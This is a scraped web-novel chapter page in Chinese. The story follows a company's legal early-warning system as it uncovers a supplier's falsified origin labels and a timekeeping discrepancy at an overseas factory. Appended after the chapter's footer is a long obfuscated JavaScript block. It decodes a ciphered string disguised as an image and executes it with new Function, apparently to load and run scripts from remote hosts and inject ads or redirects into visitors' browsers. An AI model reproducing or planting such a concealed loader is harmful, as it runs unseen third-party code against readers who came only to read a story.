首页
第450章 法务预警系统常态
返回
关灯 护眼:关 字号:小

第450章 法务预警系统常态化部署

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    天罡许可商用授权首份协议在可验证墙公示后的第四天清晨,周明在法务部加密终端上按下了法务预警系统常态化部署的启动键。屏幕上的状态栏从「试运行」跳转为「正式运行」,一条系统日志被自动写入天枢OS数据治理规则引擎的不可篡改记录——「法务预警系统V1.0,启动时间:合城标准时07:00:00,启动人:周明,审计哈希:已存证。」
    GOOGLE搜索TWKAN
    郑工站在周明身后,手里端着一杯已经凉了的浓茶,眼睛盯着屏幕上滚动的初始化数据流。法务预警系统的架构是他带着三名天枢OS核心开发工程师在六周内搭出来的——就是合规审计月总结报告中那个预估开发周期为六周的「合规监测子模块」。系统从法务预警资料库丶天枢OS生态运营管理模块丶产线管理系统的工艺参数日志和联合检测验证工作组秘书处的公开案件日程表四个数据源同步接入,在统一的风险评估引擎中对每一条数据进行三级分级标注。
    「三级分级。」郑工指着屏幕上跳动的标注结果,「绿色是正常,黄色是需关注,红色是需立即响应。分级逻辑不是简单阈值触发——是周明带着法务团队在过去六个月处理的所有真实风险案例中提取出来的特徵参数,喂进了风险评估引擎的规则库。引擎不是判断『这个事件是否异常』,而是判断『这个事件与已经发生过的哪些风险案例在模式上相似』。相似度超过百分之八十的直接标红,超过百分之六十的标黄,低于百分之六十的保持绿色但留存模式相似度指数备查。」
    周明把系统仪表盘投在全景法律风险显示屏上。屏幕左侧是六个海外司法管辖区的诉讼案件状态——北洲联邦法院补天绕线引擎专利案已进入证据开示最后阶段,欧陆统一专利法庭天罡Edge图像分割算法案刚完成技术听证,南亚商事法庭印巴装配厂劳动合规案的管辖权异议被驳回丶正式进入实体审理,中东国际商事仲裁中心追光设备外销合同履行争议的仲裁庭已组成,日内瓦联合检测验证工作组框架内的仲裁机制尚未激活但规则已备案。屏幕右侧是实时滚动的三级风险事件列表——绿色占百分之八十二,黄色占百分之十五,红色占百分之三。
    「红色三项。」周明把红色事件逐条点开。第一条是南亚装配厂劳动合规案的实体审理排期确定在五周后,证据开示截止时间仅剩三周,而王磊正在推进的劳动合规档案数位化升级尚未完成全部员工考勤记录的历史数据迁移。第二条是火龙联盟第二轮设备出口审查动议表决时间提前——联合检测验证工作组秘书处凌晨发来的通知显示,表决日从此前预估的四十八小时后提前至三十六小时后,李明哲在日内瓦的应对准备窗口被压缩了十二个小时。第三条让会议室里所有人都没有想到——生态合作基金首期九个项目中有一个项目的供应商穿透调查触发了新的供应链异常预警,预警源来自天枢OS产线管理系统与法务预警系统的数据交叉比对。
    「爪哇商城天罡应用兼容性测试云平台的那个项目。」周明把第三条红色预警的详情展开,「蔡总的项目在首期采购中选用了霓虹供应商的网络交换设备,合规审计月时已经对这个决策做了审计,结论是『存在合规风险但未构成违规』,建议在中期审计时跟踪南亚本地供应商的启用进度。但这次触发的不是采购合规问题——是产线管理系统在自动抓取恒芯封装试产线的备件库存数据时发现,有一批来自同一家霓虹供应商的网络交换设备备件被调拨到了恒芯产线的工业控制网络备用库,而这批备件的原产地证明文件中的出口国别代码与采购合同中的国别代码不一致。」
    「国别代码不一致。」梁志远在视频那端立刻警觉起来,「恒芯的控制网络是物理隔离的,不接外部网际网路。但如果备件的原产地被刻意隐瞒,意味着供应链穿透出现了人为干扰的痕迹。这不是合规瑕疵——这是有人在供应链上动手脚。」
    周明让法务预警系统对这条红色预警做了全链路回溯。回溯结果在四十分钟内显示在屏幕上:那批备件的采购合同标注的出口国别是霓虹,但备件外包装上的原产地标签被清除后重新贴标,底层标签的残胶经光谱分析显示原产地是火龙联盟中北洲的一家核心成员。这家供应商——就是蔡总在首期采购中选择的那家注册在霓虹的贸易公司——在出口报关时将北洲原产的设备伪装成霓虹原产,绕开了霓虹对火龙联盟出口管制法规的从属义务。未来科技的供应链在不知情的情况下被塞入了一批「洗产地」的设备。
    「洗产地。」周明把这三个字写在白板上,然后在旁边画了两条线——一条指向蔡总的项目,一条指向恒芯产线。「蔡总本人可能不知情,他在采购决策中做了供应商比价和来源审查,所有流程都合规。但这家霓虹贸易公司在合同之外动了手脚。如果这件事被火龙联盟在第二轮设备出口审查动议中抓住,对方完全可以把『洗产地』行为归责于未来科技『明知或应知』,然后以此为理由升级制裁。」
    方程在新加坡的视频接入中迅速调出了蔡总项目在合规审计月期间的全部审计档案。审计报告显示,蔡总在采购网络交换设备时向霓虹供应商索取了原产地证明文件,文件上盖有霓虹经济产业省授权的出口许可印章。审计小组在当时对这份原产地证明做了表面真实性审查——印章与样本库匹配丶文件编号格式合规丶签发日期在合同签署之前。表面真实性审查全部通过,但审计小组没有能力对原产地证明的实质真实性做跨境实地核查——没有一家企业的内部审计能做到这一点。
    「表面合规不等于实质乾净。」周明在法务预警系统的风险处置方案中写道,「供应链穿透的深层风险不在于供应商有没有交合规文件,而在于合规文件本身有没有可能是伪造的。法务预警系统能做的,是把不同数据源的信息交叉比对——产线备件库的标签光谱分析数据丶采购合同的原产地声明丶出口报关的国别代码——当这三组数据对不上的时候,系统自动标红。但系统的能力边界是数据比对,不是实地核查。实地核查需要另一种制度能力。」
    陈醒在接到红色预警简报后二十分钟内召开了紧急决策会。他在会上做了三件事。第一,下令对恒芯产线控制网络中所有来自那家霓虹供应商的设备立即做物理隔离和固件全量审计——不管产线停不停,先把潜在后门堵上。第二,让周明把供应链异常预警的完整记录提交给联合检测验证工作组秘书处,主动披露「洗产地」事件,附上未来科技已采取的隔离措施和自查结论——在对方还没抓住这件事之前,先把事实摆在工作组的桌面上。第三,让苏黛在生态合作基金的项目执行追踪系统中对蔡总项目追加一条特别标注——「供应商洗产地风险已触发,中期审计提前启动,审计范围扩展至该供应商的全部供货记录和关联采购。」
    「被审计比被怀疑强。」陈醒把这句话重新说了一遍,语气和他在天罡Edge接口安全分级决策会上说出这句话时一模一样,「这件事是我们自己发现的,不是被抓住的。自己发现之后主动披露,是治理能力。被抓住之后被动解释,是治理失败。法务预警系统的价值不是帮我们隐藏风险——是帮我们在风险还在萌芽阶段的时候就把它揪出来,然后在别人还没开口之前就把事实和措施摆在台面上。」
    梁志远在恒芯产线现场指挥设备物理隔离。他带着罗工和三名产线控制工程师,在接到指令后四十分钟内完成了全部可疑设备的断网和固件备份。恒芯封装试产线的矽通孔刻蚀工序暂停了三个小时——老韩在控制室里盯着停机倒计时,每过十五分钟在告示栏上贴一张进度更新便签。三个小时后梁志远确认固件审计未发现恶意代码,产线恢复运转,矽通孔间距稳在六微米,良率曲线在短暂下跌后重新爬回预定区间。
    「三个小时。」老韩在产线恢复后更新了最后一张便签,「停得起三个小时,是因为预警系统在备件入库阶段就抓到了异常,不是等设备已经在控制网上跑了半年才发现。预警早一分钟,停产少一小时。」
    法务预警系统常态化部署的另一个关键模块在南亚装配厂同步上线。王磊在收到系统部署指令后,将印巴厂全部员工的考勤记录丶工资发放凭证丶安全培训签到表和L2认证考试成绩单纳入了天枢OS数据治理框架的统一存证。存证过程本身是一项浩大的工程——印巴厂有超过两千名员工,最早的纸质考勤记录可以追溯到厂房投产第一天。方敏从合城派出了一支四人档案数位化小组,带着三台高速扫描仪和一套离线数据采集终端,在印巴厂的档案室里连续工作了五天,把堆积如山的纸质档案逐页扫描丶逐条标注时间戳丶逐份生成哈希值。
    「最老的那份考勤表已经发黄了。」方敏在进度报告中写道,「上面有阿米尔进厂第一天的签到记录——日期是印巴厂投产首日,签字栏里是一个歪歪扭扭的乌尔都语签名。这张纸被扫描进系统的时候,扫描仪的操作员是一个本地聘用的年轻女孩,她指着签名说——『这是我父亲的名字。』她父亲是印巴厂第一批产线操作员,两年前退休了。这张发黄的考勤表不止是劳动合规的证据,它是印巴厂三代工人的时间胶囊。」
    五天后档案数位化完成,全部存证数据同步至法务预警系统的南亚模块。系统自动对两千多份考勤记录与工资发放凭证做了交叉比对,在比对中发现了一个王磊此前没有注意到的系统性偏差——夜班加班工时的申报记录与门禁系统的人脸识别签到记录之间存在平均百分之三点二的差异,夜班工人实际在厂时间略短于申报的加班工时。差异的原因不是虚报工时,而是夜班工人在下班后需要在厂门口排队等夜班班车,平均等待时间约为十五分钟,而这段等待时间在考勤系统中被计入了加班工时——因为考勤打卡机设在车间出口,门禁设在厂区出口,两者之间步行加排队的时间差被系统误读为在岗时间。
    「这个偏差如果被南亚商事法庭的对方律师先发现,他们就可以主张印巴厂系统性虚报加班工时。」周明在法务预警系统的处置方案中写道,「但现在是我们自己先发现的。王磊在接到系统预警后四十八小时内修正了考勤打卡点位——将打卡机从车间出口移至厂区出口,与门禁系统合并为同一物理点位。同时主动补发了过去三个月因排队等车时间差导致的多计加班工资——补发总额折合人民币约四万六千元。补发记录和考勤点位修正方案一并存档,主动提交给南亚法庭作为合规整改的证据。」
    王磊在完成补发后给方敏发了一条消息:「四万六千元补发的不是工资,是法律风险。法务预警系统用一条数据比对帮我们挖出了一个可能被对方律师索赔四千万元的漏洞。这个系统的建设成本到现在为止已经回本了——不是赚回来的,是省回来的。」
    法务预警系统的红色预警处置闭环在四十八小时内全部完成。南亚诉讼的证据开示准备重新回到预定轨道,恒芯产线的可疑设备完成物理隔离和固件审计,供应链洗产地事件的主动披露报告已提交联合检测验证工作组秘书处。系统仪表盘上的红色预警数量从三降为一——仅余火龙联盟第二轮设备出口审查动议表决的倒计时,这一项的处置不在法务团队手中,而在日内瓦。
    李明哲在日内瓦时间凌晨收到了周明发来的供应链洗产地主动披露报告。他把报告作为第二轮设备出口审查动议表决前的补充材料提交给工作组秘书处,在提交函中写道:「未来科技在法务预警系统常态化部署的首个运行周期内,通过内部数据交叉比对发现了一起供应商原产地证明疑似造假事件。事件详情及已采取的隔离丶审计和整改措施详见附件。未来科技将这一事件主动披露给工作组,不是为了请求宽宥,而是为了证明——一个有效的合规预警系统能够在风险被外部发现之前完成内部发现和主动处置。」
    秘书处那位与李明哲打过一年交道的法律顾问在收到提交函后,在走廊上拦住了他,说了一句话:「第二轮设备出口审查动议的表决马上开始。你们在这个时候主动披露自己的供应链漏洞,不怕被对方当成制裁的弹药?」
    李明哲的回答只有两句话:「弹药在敌人手里永远是弹药。把弹药提前引爆丶拆解丶摆在台面上,它就变成了废铁。法务预警系统做的事情,就是在弹药还在敌人弹药库里的时候找到它,然后在引爆之前拆掉引信。」
    第二轮设备出口审查动议在联合检测验证工作组特别会议上进入表决程序。火龙联盟三家核心成员的代表在表决前分别做了陈述,其中一家在陈述中引用了刚刚收到的供应链洗产地事件——但引用的方式让周明在合城加密视频中松了一口气。对方试图将事件描述为「未来科技供应链合规管理存在系统性漏洞」,但因为他们引用的材料正是李明哲主动提交的披露报告本身,报告中已经包含了未来科技自行发现丶主动隔离丶全面审计和制度整改的完整闭环,对方的指控在逻辑上不攻自破——「系统性漏洞」的说法与「自查自纠」的事实形成了自相矛盾。
    动议表决结果在四十分钟后宣布:火龙联盟提出的全面禁止追光退役设备外销的动议未获通过,替代通过的是一个打了折扣的版本——要求未来科技在每一批退役设备外销合同中增加独立第三方原产地审计条款,审计报告在工作组备案。这个附加条款与周明在设备外销合同中主动写入的最终用途核查和独立审计条款本质上是同一套逻辑——火龙联盟试图用一个已经被对方主动实施的标准来约束对方,在国际规则的博弈中等于什么都没拿到。
    「他们投了一轮票,拿到了一个我们已经写进合同里的条款。」李明哲在当天的工作日志中写道,「这不是外交胜利,这是法务预警系统的自动化防御在日内瓦会场上产生的威慑效应——当我们能够在对方发起进攻之前就完成自我审查丶主动披露和制度修补,对方的进攻就失去了目标。他们瞄着城墙上的缺口冲锋,冲到一半发现缺口已经被我们自己补上了。」
    法务预警系统正式运行七十二小时后,周明在合城法务部主持了第一次常态化运营周会。系统仪表盘上的数据显示:三级风险事件累计触发四十七次,其中红色八次丶黄色十六次丶绿色二十三次。八次红色预警全部在规定响应时间内完成处置闭环,平均响应时间从第一次的四个半小时压缩至最后一次的四十一分钟。十六次黄色预警中有十二次经人工覆核确认为有效预警并纳入风险台帐跟踪,四次被核定为系统误报——误报集中在供应商注册地址与实际经营地址不一致的判别上,郑工已经在规则引擎中加入了工商变更登记宽限期的参数调整。
    「误报率百分之二十五,这个数字目前可以接受。」周明在运营周会的总结中写道,「法务预警系统的设计原则不是零误报——追求零误报必然导致漏报率上升。我们宁可承受一定比例的误报,让预警灵敏度保持在高位。每一次误报都是一次规则优化的数据输入——系统在试运行阶段的误报率是百分之四十一,正式运行后降到了百分之二十五,三个月内目标是降到百分之十五以下。」
    陈醒在周会结束后在法务预警系统的运行日志上批了一行字:「这个系统不是在替人做判断,是在替人抢时间。风险发现的时间窗口每压缩一小时,应对方案的质量就提升一分。海外六战场的胜负不取决于律师在法庭上的口才,取决于律师走进法庭之前,法务预警系统已经帮他把对方的弹药库翻了多少遍。」
    合城的夜色中,法务预警系统在法务部全景风险显示屏上安静地运行着。屏幕上的数据流以每三秒一次的速度刷新,每一次刷新都在天枢OS数据治理规则引擎中留下一条不可篡改的运行日志。周明在离开办公室前把系统运行首周的完整日志打包,发给了远在日内瓦的李明哲和新加坡的方程。邮件正文只有一行字:「预警系统已就位。从现在开始,任何试图在暗处动手脚的人,都会在动之前先被自己的影子出卖。」
    而在印巴装配厂,档案数位化小组的最后一名成员正在收拾扫描设备。那位发现父亲签名的本地年轻女孩站在档案室门口,手里拿着一张刚列印出来的数位化考勤记录——记录的第一行是她父亲进厂首日的那个歪歪扭扭的签名,签名的哈希值已经永久存入了天枢OS的不可篡改日志。她把列印件小心地折好放进口袋,用当地语言对档案室的管理员说:「以后不用再翻纸箱子找记录了。爸爸的名字在系统里,永远都在。」
    窗外,印巴厂第三条生产线的基建工地灯光通明,桩基施工已进入第三天。而在距离工地不到两百米的厂区门禁处,新安装的考勤打卡机与门禁系统的合并点位已经亮起了绿色的指示灯,指示灯以每三秒一次的频率闪烁——和合城法务部屏幕上那面全景风险显示屏的数据流刷新频率完全一致。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();